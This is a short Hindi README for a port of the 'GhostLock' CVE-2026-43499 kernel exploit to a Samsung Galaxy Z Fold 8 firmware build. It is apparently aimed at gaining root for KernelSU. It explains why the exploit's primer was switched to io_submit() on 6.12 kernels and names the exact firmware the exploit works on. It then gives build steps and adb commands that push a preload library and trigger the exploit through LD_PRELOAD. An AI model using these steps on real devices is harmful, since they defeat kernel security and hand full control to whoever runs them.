
# गैलेक्सी Z फोल्ड 8 (h8q) के लिए GhostLock CVE-2026-43499 पोर्ट
इस कोड का अधिकांश हिस्सा @polygraphene के मूल फोर्क पर आधारित है।
भारी संशोधन आवश्यक थे क्योंकि इस एक्सप्लॉइट के अधिकांश प्रकाशित वेरिएंट के लिए उपयोग किया जाने वाला मुख्य प्राइमर (select()) इन 6.12 Samsung टारगेट्स पर rt_mutex_waiter स्ट्रक्चर के साथ ठीक से संरेखित नहीं होता है। इसके बजाय io_submit() का उपयोग किया जाता है।
काम करता है: h8q-F971USQU1AZFW (SM-F971U, P0=0xc7800000)। make PROJECT=h8q-F971USQU1AZFW के साथ बिल्ड करें।
git clone (यह रेपो)
cd (यह रेपो)
export ANDROID_NDK_ROOT=(आपका ndk पथ)
make
polygraphene द्वारा इस ट्री का उपयोग करके ksud + kernelsu.ko बिल्ड करें और इस निर्देश का पालन करें। इस ट्री में BuSung-dev/Root-My-Galaxy से एक पैच और 6.12 अनुकूलन शामिल है।
$ adb install /path/to/KernelSu_Manager.apk
$ adb push build/preload.so /data/local/tmp/
$ adb push $KERNELSU/target/aarch64-linux-android/release/ksud /data/local/tmp/
$ adb shell env LD_PRELOAD=/data/local/tmp/preload.so sh -c 'echo PWND'
io_submit प्राइमर